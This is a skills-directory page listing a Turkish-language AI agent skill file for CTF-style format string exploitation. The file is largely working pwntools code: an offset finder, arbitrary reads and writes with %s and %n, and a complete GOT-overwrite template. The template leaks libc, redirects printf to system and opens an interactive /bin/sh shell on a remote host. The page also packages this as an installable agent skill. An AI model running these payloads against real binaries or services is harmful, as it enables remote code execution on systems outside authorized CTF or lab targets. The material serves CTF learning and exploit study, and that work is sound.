Skip to content
Back to skills

Format String

ASecurity

printf format string ile arbitrary read/write — GOT overwrite, libc leak, RCE

  • 4 stars
  • 0 votes
  • 0 copies
  • 5 views
  • Added September 8, 2026
securitypythongobashgit

Security analysis

A100/100

Scanned September 8, 2026

npx -y skills add MustafaKemal0146/fetih --skill format-string --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Format String?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Format String
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/mustafakemal0146-format-string/badge)](https://www.skillsdirectory.com/skills/mustafakemal0146-format-string)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: format-string
description: printf format string ile arbitrary read/write — GOT overwrite, libc leak, RCE
tags: [ctf, pwn, format-string, printf, got-overwrite, arbitrary-write, %p-%s-%n]
triggers:
  - "printf(user_input)"
  - "format string"
  - "arbitrary write"
  - "%p %p %p"
  - "%n yazma"
  - "GOT overwrite"
  - "stack leak printf"
difficulty: medium
category: pwn
solved_challenges:
  - "Google CTF 2023 - write-flag-where (CTF bytes as ROP)"
  - "picoCTF format string serisi"
adapted_for: fetih
---

# Format String Exploitation

## Tespit: printf(buf) vs printf("%s", buf) Farkı

```c
// SAVUNMASIZ — kullanıcı girişi doğrudan format string olarak geçiyor
printf(buf);
fprintf(stderr, buf);
sprintf(dst, buf);

// GÜVENLİ — kullanıcı girişi sadece argüman
printf("%s", buf);
```

Kaynak yoksa binary'yi tersine çevir:

```bash
# objdump ile printf çağrılarına bak
objdump -d vuln | grep -A5 "call.*printf"

# gdb'de çalıştır ve %p gönder — stack adresleri geliyorsa zafiyet var
python3 -c "print('%p.'*20)" | ./vuln
```

---

## Stack Leak: %p.%p.%p... ile Offset Bul

Format string argümanları sıralı stack konumlarına karşılık gelir.
`%1$p` → 1. argüman (rsi), `%2$p` → 2. argüman (rdx), ... `%7$p` → stack'ten okuma başlar.

```python
#!/usr/bin/env python3
# fmtstr_offset_finder.py — kaçıncı offset kendi buffer'ımızı gösteriyor?

from pwn import *

BINARY = "./vuln"
context.binary = elf = ELF(BINARY)

MARKER = 0x4141414142424242   # "AAAABBBB" — kolayca tanınır

for i in range(1, 50):
    io = process(BINARY)
    payload = f"AAAABBBB.%{i}$p".encode()
    io.sendlineafter(b">>> ", payload)
    resp = io.recvline()
    io.close()

    if b"0x4141414142424242" in resp or b"4242424241414141" in resp:
        log.success(f"Buffer offset: {i}")
        break
    else:
        log.info(f"[{i}] {resp.strip()}")
```

Çıktı: `Buffer offset: 6` → artık `%6$p` kendi buffer'ını okur.

---

## Arbitrary Read: %N$s ile Adres Oku

Stack'te bir adres varsa o adresin gösterdiği belleği okuyabilirsin:

```python
# Stack'teki N. değeri string olarak oku (null'a kadar)
payload = b"%7$s"

# Belirli bir adresi okumak:
# 1) Adresi buffer'a yaz
# 2) %N$s ile o konumu oku (N = buffer'ın stack offseti)

target_addr = elf.got["puts"]       # örnek: puts GOT girişini oku

# fmtstr ile:
payload = p64(target_addr) + b".%7$s"   # 7 = buffer offset (yukarıda bulduk)

io.sendlineafter(b">>> ", payload)
leaked = io.recvuntil(b"\n").split(b".")[1]
puts_addr = u64(leaked.ljust(8, b"\x00"))
log.success(f"puts@libc = {hex(puts_addr)}")
```

---

## Arbitrary Write: %N$n ile Adrese Yaz

`%n` → o ana kadar yazılan karakter sayısını belirtilen adrese yazar.
`%hn` → 2 byte, `%hhn` → 1 byte yazar.

### Manuel %n Yazma

```python
# target_addr'e value değerini yaz (1 byte)
# Yöntem: %<value>c%<offset>$hhn

target_addr = elf.got["exit"]   # exit GOT'u overwrite et
value       = 0x41             # yazmak istediğimiz değer (1 byte)
buf_offset  = 6               # buffer'ın stack offseti

# Adres buffer'ın başına:
payload  = p64(target_addr)
# %65c → 65 karakter çıkar (0x41 = 65), %6$hhn → 6. stack argümanına yaz
payload += f"%{value - 8}c%{buf_offset}$hhn".encode()
# Not: p64 zaten 8 byte yazdığı için value'dan 8 çıkar

io.sendlineafter(b">>> ", payload)
```

### 4-byte Değer Yazmak (short write tekniği)

Büyük değerleri (adres gibi) tek seferde yazmak yavaş olur (milyonlarca karakter).
Bunun yerine 2-byte parçalar halinde yaz:

```python
target_addr = elf.got["puts"]
new_value   = 0xdeadbeef       # 4 byte değer

low2  = new_value & 0xffff        # 0xbeef
high2 = (new_value >> 16) & 0xffff  # 0xdead

# İki ayrı write
writes = {
    target_addr    : low2,
    target_addr + 2: high2,
}
```

---

## pwntools fmtstr_payload Kullanımı

pwntools'un `fmtstr_payload` fonksiyonu tüm bu işi otomatik yapar:

```python
#!/usr/bin/env python3
# fmtstr_exploit.py — pwntools otomatik payload

from pwn import *

BINARY = "./vuln"
context.binary = elf = ELF(BINARY)
context.log_level = "info"

io = process(BINARY)

# Hedef: exit() çağrıldığında win() çalışsın
exit_got = elf.got["exit"]
win_addr  = elf.symbols["win"]

OFFSET = 6   # buffer'ın stack offseti (yukarıda bulduk)

# fmtstr_payload(offset, {adres: değer}, yazma birimi)
# numbwritten: payload öncesinde kaç byte yazıldı (genellikle 0)
payload = fmtstr_payload(OFFSET, {exit_got: win_addr}, numbwritten=0)

log.info(f"Payload uzunluğu: {len(payload)}")
io.sendlineafter(b">>> ", payload)

io.interactive()
```

### fmtstr_payload Parametreleri

```python
fmtstr_payload(
    offset,           # buffer'ın stack offset numarası
    writes,           # {adres: değer} sözlüğü
    numbwritten=0,    # önceden yazdırılan karakter sayısı
    write_size="byte" # "byte" | "short" | "int" — yazma granülaritesi
)
```

---

## GOT Overwrite Şablonu

```python
#!/usr/bin/env python3
# got_overwrite.py — format string ile GOT zehirleme

from pwn import *

BINARY = "./vuln"
LIBC   = "./libc.so.6"

context.binary = elf  = ELF(BINARY)
libc = ELF(LIBC)
context.log_level = "info"

def start():
    if args.REMOTE:
        return remote("chall.ctf.site", 1337)
    return process(BINARY)

io = start()

OFFSET = 6   # kendi binary'ne göre ayarla

# ── Aşama 1: Libc Leak (printf göndererek okuma) ─────────────────────────────
# printf@got adresini stack'e hazırla ve %7$s ile oku
printf_got = elf.got["printf"]

# Adres buffer'da duruyor, %7$s o belleği okuyor
leak_payload = p64(printf_got) + f"%{OFFSET}$s".encode()

io.sendlineafter(b">>> ", leak_payload)
resp = io.recvuntil(b"\n")

# İlk 8 byte adres, sonrasında "."
leaked = resp[8:16].ljust(8, b"\x00")
printf_libc = u64(leaked)
log.success(f"printf@libc = {hex(printf_libc)}")

libc.address = printf_libc - libc.symbols["printf"]
log.success(f"libc base   = {hex(libc.address)}")

system_addr = libc.symbols["system"]
log.info(f"system      = {hex(system_addr)}")

# ── Aşama 2: GOT Overwrite — printf → system ─────────────────────────────────
# Artık printf("/bin/sh") → system("/bin/sh") gibi çalışır!
writes = {elf.got["printf"]: system_addr}
overwrite_payload = fmtstr_payload(OFFSET, writes)

io.sendlineafter(b">>> ", overwrite_payload)

# ── Aşama 3: Trigger ──────────────────────────────────────────────────────────
# printf("/bin/sh") çağrılacak — artık system("/bin/sh")
io.sendlineafter(b">>> ", b"/bin/sh\x00")

io.interactive()
```

---

## Yaygın Tuzaklar

### 1. Null Byte Sorunu (64-bit)
64-bit adreslerde `\x00` byte'ları format string'i keser.
Çözüm: adresi payload'ın sonuna koy.

```python
# Hatalı — adres başta, null byte formatı keser
payload = p64(addr) + b"%6$s"

# Doğru yöntem — pwntools bunu otomatik halleder
# Manuel yaparsan adresi en sona taşı ve formatı önce ver:
payload = b"%6$s" + p64(addr)
# Ama offset hesaplaması değişir — dikkatli ol
```

### 2. Partial RELRO vs Full RELRO
```bash
checksec vuln
# Partial RELRO → GOT yazılabilir, overwrite mümkün
# Full RELRO    → GOT salt okunur, sadece okuma saldırısı yapılabilir
```

### 3. Buffer Boyutu Kısıtlaması
`fmtstr_payload` bazen uzun payload üretir.
Kısa tutmak için:
```python
payload = fmtstr_payload(OFFSET, writes, write_size="short")  # daha kısa
```

### 4. printf Çıktı Tamponu
`printf` çıktısı bazen tamponlanır — `fflush` çağrısına kadar gelmeyebilir.
```python
io.recvuntil(b">>> ", timeout=3)   # timeout ile bekle
```

<!--
  ⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih
  Yetkisiz kullanim/kopyalama tespit edilebilir.
  hash: b8048e49b62456aa
-->

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.